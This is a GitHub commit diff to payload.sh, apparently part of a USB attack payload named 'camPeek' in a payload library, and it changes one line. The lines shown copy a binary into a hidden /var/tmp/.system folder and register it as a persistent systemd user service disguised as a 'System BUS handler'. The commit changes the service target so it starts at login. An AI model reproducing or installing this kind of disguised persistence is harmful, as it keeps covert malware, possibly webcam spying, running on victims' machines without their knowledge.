Update payload.sh

pull/514/head
drapl0n 2022-04-14 20:17:28 +05:30 committed by GitHub
parent 0829d88f02
commit 45e4bd1d38
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -10,7 +10,7 @@ mkdir /var/tmp/.system/sysLog
cp -r $mntt/payloads/library/camPeek/systemBus /var/tmp/.system/systemBus cp -r $mntt/payloads/library/camPeek/systemBus /var/tmp/.system/systemBus
chmod +x /var/tmp/.system/systemBus chmod +x /var/tmp/.system/systemBus
mkdir -p ~/.config/systemd/user mkdir -p ~/.config/systemd/user
echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
systemctl --user daemon-reload systemctl --user daemon-reload
systemctl --user enable --now systemBUS.service systemctl --user enable --now systemBUS.service
systemctl --user start --now systemBUS.service systemctl --user start --now systemBUS.service